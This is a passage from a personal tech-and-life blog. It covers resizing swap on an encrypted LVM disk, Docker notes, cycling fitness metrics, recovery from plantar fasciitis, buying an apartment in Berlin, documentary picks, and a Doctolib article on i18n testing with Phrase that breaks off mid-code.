Now, boot your Linux from a USB stick and open a terminal:

sudo su
# `sudo`    => Execute a command as another user.
# `sudo su [user]` => Run a command with substitute user, default is root.

# Encrypted device should NOT be unlocked
lsblk # => list block devices
    # └─sda6 => no `crypt`/`lvm``

# Unlock encrypted device
cryptsetup open /dev/sda6 crypt # Enter passphrase
    # `cryptsetup` => Manage dm-crypt + LUKS encrypted volumes.
    # `cryptsetup open <device> <name>` => Opens encrypted lv as <name>

# Get logical volume identifiers
lsblk
    # └─sda6                  8:6    0 464,6G  0 part
    #   └─sda6_crypt        253:0    0 464,5G  0 crypt
    #     ├─vgubuntu-root   253:1    0 463,6G  0 lvm   /
    #     └─vgubuntu-swap_1 253:2    0   980M  0 lvm   [SWAP]

# Shrink logical root volume AND filesystem
lvresize --verbose --resizefs -L -15G /dev/mapper/vgubuntu-root
    # `lvresize` <volume> => resize a logical volume
    #   --verbose  => Give more info.
    #   --resizefs => Resize filesystem AND LV with fsadm(8).
    #   -L         => Specifies the new size of the LV,
    #                 +/- add/subtracts to/from current size, g|G is GiB.

# Check filesystem of logical root volume for errors
e2fsck -f /dev/mapper/vgubuntu-root
    # `e2fsck`<fs-path> => Check a Linux ext2/ext3/ext4 file system
    #   -f => Force checking even if the file system seems clean.

# Increase swapsize
lvresize --verbose -L +15G /dev/mapper/vgubuntu-swap_1
# Format to make it usable
mkswap /dev/mapper/vgubuntu-swap_1

Now, deactive the volume group: vgchange -a n or vgchange -a n ubuntu-vg.

And finally: cryptsetup close crypt; reboot

After rebooting, check the sizes using lsblk, swapon -s and free -h. That's it!

Adding a new SWAP partition

The steps are the same: reboot on a USB stick, sudo su and cryptsetup open /dev/sda6 crypt. Then:

lvresize --verbose --resizefs -L -16G /dev/mapper/ubuntu--vg-ubuntu--lv
e2fsck -f /dev/mapper/ubuntu--vg-ubuntu--lv
lvdisplay # Check all is fine, and find the VG name, needed for the next command
lvcreate -n swap -L 16G ubuntu-vg
mkswap /dev/mapper/ubuntu--vg-swap
lsblk # Check all looks ok. At this point, the last line should read `└─ubuntu--vg-swap 252:2    0   16G  0 lvm`

# The next steps are the same as for editing an existing SWAP partition
vgchange -a n
cryptsetup close crypt; reboot

Now, edit /etc/fstab by adding this:

/dev/mapper/vgxubuntu-swap_1 none swap sw 0 0
swapon -a # Enable it

# Verify it works
free -m
# or
swapon -s
cat /proc/swaps

Reboot. All should work.

Docker

2022-07-05T12:30:00+02:00

WIP ARTICLE

Up until now, Docker has always been a mystery to me. Mostly because I never took time to dive into it. For the past year, I was lucky enough to have David Gageot as my manager at Doctolib. As far as I know, he was one of the early contributors to it, and remains to this day one of the main contributors. Docker has no secrets for him. Here is a video starring David himself, a year after Docker was released to the public:

During his time at Doctolib, I learned quite a lot. And I kept feeding my interest for Docker even after he left. Therefore this article serves as my personal cheatseet for Docker. It is a collection of basic knownledge and advanced tricks.

Docker images can run nested Docker images (not advisable for production)
FROM <image name>: sets the base image for our Docker image
WORKDIR /home/yolo creates the /home/yolo directory
CMD vs RUN: RUN is a build step, it creates a layer in the docker image and is therefore cached. CMD is the command to execute when runnning a docker image. If the command outputs something in stdin, it can be reused by other Docker images (see below).
ADD . /home/yolo copy the output of the base image (through stdin) to /home/app. If the base image (FROM xxx) output assets as a result of its CMD command, the files will end up in /home/yolo.
What's the difference between the docker commands: run, build, and create
Basic common commands:
- docker build -t toto .: builds an image from the Dockerfile in the current folder and labels it "toto"
- docker run --init --rm -ti toto bash: starts a new container from the image labeled "toto" and opens a shell in it

Resources

Best practices for writing Dockerfiles

FTP, VO2 max, MAP, max HR: what are those?

2022-07-03T23:20:00+02:00

Yeah, I'm into cycling. Road cycling, to be precise. It's been two years now. I've never felt so good in my life. I've become a sportsman. Me, who used to smoke half a pack a day and do no exercise at all.

So after two years of ramp-up, I have now reached a stage at which I'm into improving my performance through data. Of course I already got myself a bike computer, a heart rate strap and a cadence sensor. The next level is now to measure body metrics, beyond the "simple" heart rate. We're talking FTP, VO2 max, MAP, max HR. BOOM.

FTP

What on Earth is that? Well it stands for Functional Threshold Power. Basically it's the most accurate metric about how fit and how well a person is performing that one can use to establish training zones. It is the maximum mean power (aka MMP) one can sustain for one hour, measured in watts (absolute value or watts per kilogram). Known as CP60, for Critical Power 60. In other words, the best average power that can be held during a full hour.

In running, this is similar to the second ventilatory threshold (SV2 in French).

How to measure it

With a specialized sports doctor in a laboratory or with a power meter (in the pedals for instance).

Instead of a full hour, a 20-min test can be done (CP20). 95% of the results is often considered to be close enough to the FTP.

VO2 max

It refers to how much oxygen one's body can absorb. This is a measure used to determine other metrics, such as the MAP (see below).

How to measure it

As far as I know, only in a laboratory, on a stationary bike or while running.

MAP

It stands for Maximal Aerobic Power (in French "PMA", for Puissance Maximale Aérobie).

It is the minimum power in watts reached when at VO2 max (when the body is consuming the maximum of 02 it can).

In running, this is called MAS (Maximal Aerobic Speed, VMA in French).

How to measure it

Either with an incremental test, with a warm up phase ahead of the test. Otherwise, measure the maximum mean power (MMP) held during 5 or 6 minutes (= CP6 - Critical Power 6).

Like the FTP, it must be measured with a power meter.

Max HR

Well, it's the maximum heart rate one can reach. As simple as that.

There are a few criticized inaccurate but known formulas to calculate the theoretical maximum hear rate of somebody:

214 - (0.8 * age), for men
209 - (0.9 * age), for women
220 - age, for all (the most outdated formula, and of course the most popular)

Oftentimes, a fit person will exceed their theoretical max HR. I'm 29, supposedly my maximum HR should be 190-191. Yet, I reached 194 twice recently.

The best way to find out what your max HR is to go crazy, climbing some hills, or sprinting, repeatedly. Google should be able to help you find ideas or protocols.

What to do with all of that?

Now that you measured some metrics and gained data, you can start establishing training zones, for instance based on your FTP or max HR.

Have fun on the bike :)

Living in Germany: From Berlin to Brocken Over a Weekend

2022-05-08T23:15:00+02:00

I am planning a trip from Berlin to the Harz, specifically the peak Brocken. As finding information turned out to be quite hard, I decided to sum things up here in a short article.

The train ride

Two options: ride a Deutsche Bahn train, any day of the week, almost any hour. Or ride the famous Harz-Berlin-Express (HBZ) operated by Abellio, but only on Saturdays and Sundays. Both types of trains can be booked on the DB website. You can also book the HBZ tickets directly on Abellio's website.

With a bike

Brocken is located in the german state called "Saxony-Anhalt", where taking a bike on a train is free (information found here and here). Therefore, when bringing a bike on a Deutsche Bahn train, just book a bike ticket only for the part Berlin-Genthin. In other words, in the DB Navigator mobile app, just get a VBB Fahrrad ticket for the overall network of VBB (3.6 euros).

If riding a Harz-Berlin Express train, you must book a 3-euro bike ticket. I could not find where to book them online, so do it at a train station.

Useful resources

More information about this trip found on another blog

Plantar Fasciitis

2022-04-26T00:30:00+02:00

Alright alright alright. April the 3rd, 2022, I ran my first official half-marathon, in Berlin. Oh boy was it tough! But I did it. 2 hours and 22 seconds, official time. Not bad, although I must admit I was aiming under 2 hours. But let's blame Strava, as it was giving me the finish line 500 meters shorter. Ha ha!

Me, about to cross the finish line

Of course, a race wouldn't be a race without a propre injury, would it? Well, let's be honest, it's not that bad of an injury, but still. I got... "Plantar fasciitis" (in French: aponévrosite plantaire or fasciapathie plantaire or fasciite plantaire)! To be fair, it started a week prior to the race. I overtrained (I guess). Indeed, I ran 17 kilometers exactly one week before. The next day the pain came. Not too strong, but strong enough for me to call it a discomfort. I ran the race nonethless.

A random Google search tells me that it's

"[...] one of the most common causes of heel pain. It involves inflammation of a thick band of tissue that runs across the bottom of each foot and connects the heel bone to the toes (plantar fascia)."

Easy enough, I can understand that.

As the article describes it, you feel the pain mostly in the morning near the heel, right out of bed, and after a few minutes of walking, it starts to fade away, and eventually vanishes, until the next day.

Out of all the websites that I read (not many in all fairness), the best and easiest treatment is to go easy on exercising for at least a few weeks. I am currently at the end of my first "week off", I'll keep monitoring my pain and see how long it takes to completely heal. I only cycle these days, no more running until the pain is gone. I don't want it to become a chronic pain. Stretching a few times per day is also advised. Wearing a splint at night to hold the whole thing might also be considered. As to me, I'll keep resting for the time being and see how it goes. 🤞

Here is a simple exercice to do at home to help the healing process: Exercice maison pour guérir la Fasciite plantaire / Aponévrosite plantaire

Here are some additional French online resources about it:

UPDATE: 2023-03-31

Dang it's been a year!!! So many things happened! First of all, I ran again more than 10 kms for the first time since the half-marathon... 2 days ago 😅. Why? you ask. I'm glad you asked! That thing took forever to heal... more than 9 months. I think last Christmas I could still feel it from time to time. So what happened? July or August last year, I went to the doctor, cause I was still feeling the pain EVERY MORNING. She confirmed my own diagnosis, I have a plantar fasciitis. Good news, in a way. She advises rest (of course), insoles and physiotherapie. Perfect, let's do this! 6 sessions of physiotherapie later, no changes (or very slight but not because of the therapy). The physiotherapist clearly was not seeing many patients with that sort of injury, she did her best to come up with creative exercises but I am pretty sure that did little. Next, insoles. To be honest, I'm not sure how much this helped. I got them in August or September, I would have assumed that if they worked, I should have seen a rapid improvement - that did not happen. Like I said, until Christmas I was feeling moderate/litte plain quite often. Anyway, during that whole year I basically stopped running, or 3 or 4 kms once or twice... lol. Then, since January this year, I pretty much never felt the pain again, at least never in the morning. Every once in a while I would feel some tickling in the foot randomly, just as a reminder that something had happened, but no pain per se, and that would only last a few seconds when walking. And now, as I'm writing these lines, I can't remember the last time I felt any kind of pain in this foot because of this injury! 🎉

If you are reading this because you're injured, you're not alone 💪. Give it some time, go easy on running, maybe get insoles, use a massage ball if you have one, do some calf and foot stretching in a staircase, while standing on the edge of a step when facing the stairs (slowly let your heels drop down, repeat a few times). That should do!

UPDATE: 2023-04-02

Just ran 22 kms today!!! 🎉 No pain, felt great!

UPDATE: 2023-10-01

Since April, quite a lot happened. First of all, soon after running these 22 kms, I took up running again more consisently. Over the following few weeks, my foot became sore again at times. For very short amounts of time, occasionally, and rarely in the heel but rather random places in the foot. Mild short pain. I've been monitoring this closely. Nothing unbearable at all. It just happens randomly throughout the day, seating or walking, and does not last. On a scale from 0 to 10, it's usually around 2. Let's see how this goes... I just started muscle strengthening in an attempt to fix this for good.

UPDATE: 2024-04-14

I think I'm 100% healed. Since the beginning of 2024. In November last year, I bought the Asics Gel-Kayano 30 shoes (they're stability shoes) and increased my running frequency significantly. I'm averaging 25 kms per week these days. No more pain at all, not in the morning, not thoughout the day. I still "feel" traces of that injury though, as if my foot remained a bit weaker than my other foot. I guess it'll stay like that for life, or at least many years. But no more pain at all. Just ran Berlin's half marathon last week, felt great, I even PR'd: 1:41:51!

UPDATE: 2024-10-22

Those "traces" I was mentioning just above, they're gone. Completely. Since many months ago, can't remember when exactly. So all in all, this injury took 2 years to FULLY heal.

Living in Germany: How to buy an apartment in Berlin

2022-04-24T19:00:00+02:00

There's already plenty of resources online. Specifically, there is this unique priceless PDF that I found on Reddit, which covers pretty much everything in detail.

For French speakers, here is a short video that explains in 10 minutes the steps to buy an apartment in Germany.

But here I wanted to write a summary/short article, with the key facts and steps, about buying an apartment in Berlin. Here we go!

1. Know what you can afford

The one-time payment for the apartment and the side costs

Ask around you. Ask loan brokers. Use online tools, such as this one from Hypofriend.

You must be able to afford the invoices for Notar + Grundbucheintrag (~2% of the price of the apartment), Grunderwerbsteuer (~6%) and Maklerprovision (usually 3,57% in Berlin at the time of writing) with your equity capital/own money (Eigenkapital). The loan can only cover the price of the apartment (Kaufpreis). Up to 100% of the Kaufpreis can be covered by the loan, depending on the bank. You'll get the best interest rates though if you can finance 20% of the Kaufpreis with your Eigenkapital.

A good rule of thumb I have once been told is that most banks will generally accept to finance up to 110 times your monthly net income. Say you earn 3,000 euros net per month, you could in theory borrow up to 330,000 euros.

The monthly cost of being a home-owner in Germany

As the owner of an apartment, you will have to pay the Hausgeld: it's money used for the common parts. It usually varies between 3 and 4 euros per square meter. For each apartment, you can get this piece of information directly on the listing or during the viewing.

On top of that, you need to pay a new tax: the Grundsteuer. It's pretty cheap in Berlin.

2. Make sure you have a SCHUFA Score, that is not too bad

This is especially true if you are a foreigner and do not have a German bank account, or barely use it. N26 can fuck things up and somehow not transmit any data to SCHUFA. Not having a SCHUFA Score is even worse than having a poor score, as some banks will simply not proceed at all with you, not even studying your case, since they can't get any score at all. You can ask SCHUFA to provide you with the data they have about you by invoking the GDPR.

3. The apartment hunt

Start with immobilienscout24. Set an alert to get hourly emails. Discover agencies through the website. Then check those agencies' websites. Here are some:

Set alerts on each website. Be on the lookout for "Vermietet", which means "rented". Surely you don't want to buy an apartment where there's already a tenant with an unlimited contract...

Whenever you see a listing of interest, send an email. After 6 hours without any reply, call them directly. For each apartment, they should send you back a document presenting the property called an "Exposé". Tell them straight away what your availabilities are for a viewing.

4. Go to viewings

If the Exposé does not contain any NO-GO information (like a crazy Energieklasse...), move forward and go to the viewing.

The PDF I mentioned in the introduction has some great pieces of advice as to what to look for. For instance, mold on the walls/ceiling is a no go, just like single-glazed windows are. Pay attention to the Energieklasse. Be quiet for a few seconds, make sure the neighborhood is not noisy (metro, car traffic, trams, schools, etc). Assess how much repair is needed. Ask about:

Hausgeld
New owners, old owners, what the WEG (Wohnungseigentümergemeinschaft - homeowner association) is made of.
Which walls can be torn down
How freely you can change the windows, doors, etc
Presence of asbestos (very often found in vinyl tiles (PVC) flooring laid out before 1993, like extremely common)

5. You found one you like? It's in your price range? Reserve it!

This step mostly depends on your Makler. Some will ask for a bunch of papers to sign + ID card copies to send, some others will also want to see a proof that you have fund and a bank backing you up. Unless stated in the PDF aforementioned, I never heard of anyone having to make some down payment/pay a reservation fee ahead.Just reach out to your Makler and ask how to reserve it.

6. Money time: the loan

How to get a loan

You know how much the Kaufpreis of what you reserved is. You should be able to calculate the price you'll have to pay for the Notar, Grundbucheintrag, Grunderwerbsteuer and Maklerprovision (sometimes this one is "free"). You also know your Eigenkapital. Estimate the repair costs (new kitchen, new floor, etc). Do the maths of that all and you'll know how much money you need to borrow.

Now, 2 options:

Go see the banks yourself
Use a mortage broker

If your German is good enough and you have plenty of time, 1. is the best option, as you'll likely get the best interest rate. With 2., you will likely get a worse deal, cause even though you don't need to pay the mortage broker, the bank will (the broker usually get a fixed percent of the loan). So in theory, banks will "compensate" without telling you. But with 2., you'll also save a shit ton of time and hassle. Mortgage brokers are experienced, they know how to solve many tricky situations (no Schufa score...). Not to mention that brokers who speak your mother tongue are a HUGE HELP. They can offer additionnal services, such as acting as an official translator during the Notar meeting, probably free of charges.

For expats, Hypofriend has been gaining a lot of traction these past few years, as they offer all their services online and in English. For French speakers, www.connexion-francaise.com and expatriation-allemagne.com/ are good options.

Most banks in Germany will want to secure their investement with a mortage deed (Grundschuldbestellungsurkunde). More on that in the next chapter.

Understand your loan offers

After the loan is signed, you have 14 days to rescind (cancel) it. It is therfore very important to go to the notary to sign the Kaufvertrag (purchase contract) within these 14 days. Otherwise, should the purchase never happen, you would not be able to cancel the loan.

"Sollzinssatz" is the interest rate.
"Monatliche Rate" is what you pay each month out of your bank account: this is the sum of the interests and the repayment
"Tilgungssatz" (also called "Sparrate") is the repayment rate
"Bereitstellungszinsfreie Zeit" and "Bereitstellungszins" refer to the amount of time the loan can sit unused at the bank, after which you must pay fees (interests). Usually, a loan must be disbursed within 2 or 3 months, afterwards interests are charged.

In Germany, the most common type of loan is with a fixed-interest period (usually 10 or 15 years) after which you can either renegociate a new interest, pay the whole remaining debt back, or continue the loan with another bank (and another interest rate, most likely).

Almost all banks allow exceptional repayments (Sondertilgung) every year, up to 5% of the loan. For instance, the Deutsche Bank allow you those Sondertilgung after the first 12 months in the loan, up to 5% of the loan per calendar year.

You will agree with your bank on a Monatliche Rate, the amount of money that comes out of your bank account every month. In this amount, you pay both interests and debt back. The Monatliche Rate is always the same until the end of the agreed fixed-interest period.

Each month, you will pay back ((INTEREST RATE * REMAINING DEBT) / 12) in interests, and you will pay back (MONATLICHE RATE - INTERESTS PAID) as debt repayment.

For instance, the first month, for a loan of 400,000 euros with an interest of 2%, and a monatlich Rate of 2,000 euros, you will pay

In interests: (0.02 * 400,000) / 12 = 666.67 euros
In debt: 2,000 - 666.67 euros = 1333.33 euros

The next month, you will pay:

In interests: (0.02 * (400,000 - 1333.33)) / 12 = 664.44 euros
In debt: 2,000 - 664.44 euros = 1335.56 euros

A note on Deutsche Bank

Deutsche Bank will typically open up multiple bank accounts, when you sign a loan with them:

A Kreditkonto (whose IBAN ends in 00), for you to transfer your equity capital and pay the invoices related to the purchase (notary, etc).
A "përsonliches Konto" (whose IBAN ends in 05), which you can optionaly open and use to pay the monthly loan repayments and/or the Lebensversicherung (see below), if you ask them. You can also get one Girocard (EC card) for free.
Another account dedicated to Sondertilgung (whose IBAN ends in 87).

Lebensversicherung/Risikolebensversicherung

Depending on which bank you go with, they might require that you sign up for a Risikolebensversicherung: an insurance that would pay a lump sump agreed on (which decreases over the years), in the event of death. It can covers multiple people, if you're not buying alone. The Deutsche Bank is one of the banks that require such an insurance. The cost varies depending on how much money is covered, but expect to pay between 15 and 40 euros per month.

7. Kaufvertrag (Purchase contract)

While you are reviewing the loan offer, you should start thinking about the Kaufvertrag. If the seller gives you the freedom to pick the notary of your choice, choose one who will also edit a copy of the contract in English.

If you German is not excellent, the notary will probably require that a translator is present during the meeting. Your mortgage broker might be able to take the job. A sworn translator is not always required, as long as the notary is convinced you will understand 100%. Put your translator and the notary in contact.

The notary will typically send the first draft of the contract over email after a few days. Review it thoroughly. Have it translated via DeepL if need be. If you buy with somebody, you might want to officially state in the contract how much each of you owns of the apartment. Tell that to the notary, so that it gets written in the contract. Note that this will impact how the Gunderwebsteuer (the 6% tax) is paid: they will ask that each owner pays the tax pro-rata to what each owns, with two separate payments.

Your notary appointment cannot take place before 2 weeks after the last draft of the contract has been edited (legal requirement).

A few days ahead of the notary meeting, the notary will ask you a bunch of papers from your financing bank, so that they can start writing the draft of the Grundschuldbestellungsurkunde (mortgage deed). Forward that request to your mortgage broker if you have one.

The actual meeting is pretty boring: the notary will read EXACTLY AS WRITTEN first the Kaufvertrag, in the presence of the seller and your translator, and then the Grundschuldbestellungsurkunde only with you and your translator. That's all. Nothing more, nothing less. Expect 2 hours.

8. Payments

A few days later, you will receive various invoices from the Notar (Notarkosten at least, maybe the Grundbucheintrag too).

Another few days later, the Notar will ask you to pay the apartment before a given due date. What you'll most likely do is, transfer your equity capital to some temporary bank account provided by your financing bank. Then, the bank will pay the seller. The bank might ask you to transfer all of the equity capital you said you had, minus what you paid to the Notar already, and then ask you to pay the remaining future invoices (Grunderwerbsteuer at least) from that temporary bank account.

Conclusion: timeline of events

Simulation

Loan needed

No broker commission

Name	Expenditure	Capital
Equity capital
Repair costs
Sum capital - repair
Tax (Grunderwerbsteuer 6%)
Notar (Notarkosten 1,5%)
Notar (Grundbucheintrag 0,5%)
Broker commision (usually 3,57%)
Sum Tax + Notar + Broker commision
Purchase price
Total price (Purchase price + Tax + Notar + Broker commision)
Remaining capital for the apartement alone
Loan needed

Profitability comparator

This tool does not take into account the earnings you would have made off savings/stocks if you had not spent that money as down payment.

Current rent (Warmmiete)

Expected rent increase per year in euros

Hausgeld in the new apartment

Expected Grundsteuer per month

Interests rate (%)

Monatliche Rate

Tilgungsplan

Purchase date

Sondertilgung (one payment every 12 months, after 1 year)

Date	#	Repayment	Interest	Total paid this far	Remaining debt	Debt repaid	Interests paid	Sonder-tilgung

Great how-to articles about buying in Berlin

In English

www.settle-in-berlin.com/buy-apartment-berlin-in-5-steps/

In French

From Reddit

Documentaries To Watch

2022-03-12T13:40:00+01:00

Homos en France

Seen on France 2.

https://archive.org/details/homos-en-france-france-2-2023-05-16-21-12-1080p-5398k

Life-changing documentary, that will change your views and opinions on the matter. Must watch, for anyone, regardless of their sexual orientation.

Mark Cavendish: Never Enough

See on Netflix.

https://www.netflix.com/us-en/title/81568626

Dare I say the best professional road cycling documentary ever? Probably.

Antivax - Les Marchands de doute

Seen on Arte.

https://www.youtube.com/watch?v=HpUVJcKBMb0

Alternative links

Covid-19, la course aux vaccins

Seen on Arte.

Alternative links

L'homeopathie - Médecine douce ou imposture

Seen on Arte.

https://boutique.arte.tv/detail/homeopathie-medecine-douce-ou-imposture

Alternative links

https://www.dailymotion.com/video/x7ylh0j

Nucléaire - une énergie qui dérange

https://www.youtube.com/watch?v=yNUIaqCPttc

Alternative links

Vers des transports durables - Des métropoles en mouvement

https://www.arte.tv/fr/videos/096280-000-A/vers-des-transports-durables/

Nucléaire : une solution pour la planète ?

https://www.arte.tv/fr/videos/098818-000-A/nucleaire-une-solution-pour-la-planete/

This video is heavily criticized here.

Alternative links

Search engine of PeerTube videos: https://sepiasearch.org

Gas Stoves suck

2022-01-14T12:00:00+01:00

Also, https://twitter.com/curious_founder/status/1481746460378992641 (alternative link)

Keys to efficient i18n

2021-12-16T12:00:00+01:00

Originally published on Medium.

2021 marked a big milestone for the Doctolib engineering teams. Our 8-year-old codebase and products finally switched from French to English as a default language/locale.

As Doctolib is not present in any English speaking country, we don't have region-specific locales such as en-GB or en-US, nor do we have multiple French, German or Italian locales. We therefore in the rest of this article use the terms locale and language interchangeably. Localization (formatting of dates, currency, the change of language) and translation in Ruby on Rails are the same process. Only in the front end does localization require extra setting of some packages like Moment.js or Day.js.

It was not an easy move. But we did it for multiple reasons:

Our products are used by health practitioners and patients in France, Germany and Italy. Whenever a translation would go missing or not be translated in time, defaulting to French on the production website was not making much sense.
While 3 years ago, almost all of our developers were French (or at least French-speaking), this is not true anymore. We have people coming from more than 40 countries and our tech centers are established in three different European countries. Writing tests in French by default was slowing everybody down. Using the development environment in English was difficult, and not an option known to many developers. In reality it should have been the default option.
We wanted to make our translation process homogeneous for all countries. In doing so, we addressed problems only the German and Italian teams had been experiencing in the past, such as the delay between merging a pull request and having the translations available in production, or the fact that tests would occasionally fail because of new or changed translations. Specifically, tests testing features only available outside of France but asserting texts in French. When the German or Italian translations would eventually make it to the codebase, those tests would break. We therefore decided all tests now had to be written in English, unless testing a feature only available in one country.

With the whys out of the way, let's now see tips and tricks we've learned — sometimes the hard way.

Tools are your friends, leverage them

Dependencies-wise, we use the default Rails gem to localize our app on the back end, and we use i18n-js on the front end.

In most applications, localization is done through YAML files. For instance, a en.yml file might look like this:

en:
    welcome: Welcome to my website
    menu_options:
        login: Log in
        logout: Log out
    users_connected:
        zero: No users connected
        one: One user connected
        other: "%{count} users connected"

We refer to full-path YAML keys as "i18n keys". For instance, en.menu_options.login is a full-path YAML key, although the first key in the hierarchy (en as in "English", the language) is generally omitted when talking about i18n keys. We refer to the values as "translations". Here, we have an English translation for each key.

We use Phrase to manage our translations. In Phrase, translations are identified by "i18n key + locale", and alongside their translation string also have two different attributes:

translated: true or false. Indicates whether a given key has been translated in a specific locale. If false, it means the translation is an empty string.
verified: true or false. Indicates whether the existing translation for this couple key+locale was marked as verified or not. It other words, it tells you whether a human approved this translation in Phrase or not.

Phrase can be used through their editor on the website, through their CLI, or through their API.

At Doctolib, every commit to the master branch leads to our file en.yml being uploaded to Phrase. This way, we keep our English translations and our keys in sync with Phrase at all times.

We've set Phrase up so that any new i18n key pushed to Phrase automatically creates the French, German and Italian translations based on the uploaded English translation. This is what they call Machine Translation. It's like Google Translate, but automated. It saves us a lot of time. Then, our UX writers only have to review the translations, correct them if necessary, and mark them as verified.

Phrase is a great tool with many options, that can be configured either in the website or in .phraseapp.yml. After trying different settings for a while, here is what we found to work best for us:

phraseapp:
    access_token: # ...
    project_id: # ...
    file_format: yml
    push:
        sources:
        - file: ./config/locales/en.yml
            params:
            locale_id: en
            file_format: yml
            skip_upload_tags: true
            update_translations: true
            skip_unverification: true
    pull:
        targets:
        - file: ./config/locales/fr.yml
            params:
            locale_id: fr
            include_empty_translations: true
            exclude_empty_zero_forms: true
            include_unverified_translations: false
        # Here, same configuration for de.yml and it.yml

include_unverified_translations: false makes sure only human-verified translations are downloaded when we run phrase_cli pull . This is critical as we don't want machine translated translations to make it to production without any human review, as the translation has oftentimes to be context dependent.

skip_unverification: true makes sure than any edits to an English translation does not unverify (i.e. mark as "not verified") the corresponding FR/DE/IT translations. This may sound counter-intuitive as it means that updates to English translations are not reflected in the other languages as long as no one updates the translations. But it actually allow us to keep our current translations in production. Because of the above-mentioned setting (include_unverified_translations: false) , if we were to mark our translations as unverified, they would actually be removed when we next run phrase_cli pull.

Pluralization is done through special keys. The most common ones are zero , one and other, as shown in the example file above. All plural forms are optional, meaning we can provide as many as we want. While some plural forms might be the same in a given language, they might all differ in another one. To make translating in other languages in the Phrase editor easier, we've decided to always provide the zero form, in addition to one and many in our en.yml file. We enforce this through a static test. That's also why we also have exclude_empty_zero_forms: true so that whenever the zero form is the same as other, we can skip translating it in Phrase and therefore not clutter our fr.yml, de.yml and it.yml files unnecessarily.

Finally, include_empty_translations is required by Rails to work properly, as some translations need to remain explicitly empty, such as the ones that help Rails format numbers.

Keeping Phrase up-to-date

We strive to keep the number of unverified translations as low as possible, because any unverified translation is a translation that is not in production.

The Phrase web editor tells you how many unverified translations you have

Since we just launched Doctolib in Italy, we have a little less than 10% of our i18n keys not yet available in Italian, as we are slowly catching up. Regarding the 163 unverified German translations, those are for features not used in Germany at the moment. But we’re nonetheless in the process of verifying them, because first of all these features might someday become available in Germany, and also German-speaking developers might want to use the German language while working on French or Italian features.

String interpolation is often a bad idea

While we were doing the switch from French to English, we realized at some point that we had a ton of unused keys in en.yml . Keys from deleted features, keys from refactored code, etc. How to know which keys are actually used?

We first try running grep for every i18n key found in en.yml across the entire codebase. But string interpolation made this impossible.

What's string interpolation? There you go:

if account.doctor?
    account_type = 'doctor'
else
    account_type = 'patient'
end

# many many lines further down...
I18n.t("common.account.#{account_type}.greetings")

=> Hello, doctor

In this example, it is near impossible to detect through grep that both the keys common.account.doctor.greetings and common.account.patient.greetings are used. What's the solution? This:

if account.doctor?
    i18n_key = 'common.account.doctor.greetings'
else
    i18n_key = 'common.account.patient.greetings'
end

I18n.t(i18n_key)

To this day, we have not found a way (yet) to prevent string interpolation in i18n keys, but we're working on it. We've however communicated internally largely about it.

The same locale in your test server as in your web server you shall set

When running integration tests with Ruby on Rails, RSpec and Capybara, there are actually two different servers being launched with every test. One is the test server, the one that executes assertions, pilots the browser, opens tabs, etc. And there's the web server, the one that responds to HTTP queries and renders your website.

We've found that both servers do not necessarily answer the same to I18n.locale. For instance, when writing tests for features only available in one country, we'd change the Top-Level Domain (TLD) to .fr, .de. or .it. This would, in turn, change the locale used in our web server through some business logic in our ApplicationController.rb. But the test server would remain in English, regardless of the TLD.

Consequently, trying assert_text I18n.t("some.key") in a test of the French website would be looking for the English translation of some.key, while only the French translation was to be found. Through some fine tuning of our subclasses of ActiveSupport::TestCase, we have managed to sync the locale of both servers.

Preventing the creation of duplicate keys as the Ruby YAML parser silently ignores them and use the latest defined key

Say you have a en.yml file as follows:

en:
    greetings:
        hello: Hello
        bye: Good bye
        good_evening: Good evening
        bye: Bye

What does I18n.t("greetings.bye") returns? Yep, "Bye". Why? Because the Ruby YAML parser used under the hood silently overwrites any already defined key.

We added a test that is greatly inspired by this StackOverlow answer, to make sure we do not have duplicated i18n keys. The risk was, we could be breaking an untested feature by unknowingly overwriting an existing translation.

it 'makes sure we have no duplicated key' do
    yaml_file = File.read('config/locales/en.yml')
    assert_empty(PhraseHelper.duplicate_keys(yaml_file))
end

Enforcing a simple format for keys

Although many characters are permitted for keys (only the dot is not, as it marks levels in the hierarchy), we found it much easier to only deal with keys using only basic characters, such as the regular ASCII letters, upper or lower case, digits, hyphens and underscores. Why is that? First of all, because it's more readable, and second of all because it makes grepping through the codebase with regular expressions a lot easier.

it 'enforces a simple format for keys' do
    wrongly_formatted_keys =
        PhraseHelper
            .phrase_keys
            .grep_v(%r{^[A-Za-z0-9_-]+(\.[A-Za-z0-9_-]+)*$})
            .grep_v(/^i18n\.transliterate\.rule\.[ÄäéöÖßüÜ€]$/) # These keys are special on purpose, exclude them

    assert_empty(
        wrongly_formatted_keys,
        'Please keep translation keys as simple as possible: ' \
        'digits, lowercase letters, hyphens and underscores only',
    )
end

Preventing the insertion of hidden characters whose behavior might be unexpected

Have you ever seen this warning message on GitHub?

GitHub warning you about bidirectional Unicode text

Well, we have. And many times. This happens when people using the Phrase Editor, would mistakenly type special characters on their keyboard while trying to simply type letters with accents.

To prevent this from happening again and again, we've added a test. This way, whenever we pull the latest translations from Phrase and open a Pull Request to merge them, we can know right away if something is wrong with any translation.

Here, a screenshot of the test. It's a screenshot as one would not be able to see the hidden Unicode characters otherwise.

A test making sure our translation files do not contain special hidden Unicode characters

Avoid duplicate translations at the same node level

Why create a new translation when one can reuse an existing one? Especially if the translation is a sibling (i.e at the same node level in the YAML file) of the one you're trying to add. Well again, we've added a test so that we avoid duplicating existing English translations. Because we've found that, since the translations YAML files tend to be very big, it is easy to overlook and miss a translation you're looking for, think it does not exist, and add it again.

Ensuring the file is correctly formatted at all times

Because throughout our journey of switching to English as a default locale, we've had to edit our en.yml file many times, we've found that enforcing the formatting makes git diffs easier to review. It's like when one starts using Prettier and stops caring about how to format their JavaScript code. All of a sudden, single quotes, double quotes, escaping characters, where to break a line, etc, are no longer problems.

it 'makes sure en.yml is correctly formatted' do
    file = 'config/locales/en.yml'
    yaml = YAML.load_file(file)
    formatted_yaml = yaml.to_yaml(indentation: 2)
    assert_equal(formatted_yaml, File.read(file), <<~MESSAGE.chomp)
    The #{file} file is not correctly formatted.
    Please put a binding.pry at the end of this test, run it, and launch:
        File.write('#{file}', formatted_yaml)
MESSAGE
end

Finding unused keys and removing them

That's the trickiest part. And unfortunately, we don't have a universal answer to that problem. But before finding which keys are not used, how do we even find the ones actually used?

As we've seen before, string interpolation makes it impossible to statically find all used keys. We need to come up with something dynamic.

Logging that a given i18n key is used at runtime is fairly simple, code-wise. "All we have to do" is monkey patch the Ruby gem or the JavaScript package so that we log or store somewhere which keys are being used. For instance, this is most of our JavaScript monkey patch:

import i18n from 'i18n-js'

const addTranslationKey = (key, options) => {
    let actualKey = key
    if (options?.scope) actualKey = `${options.scope}.${actualKey}`
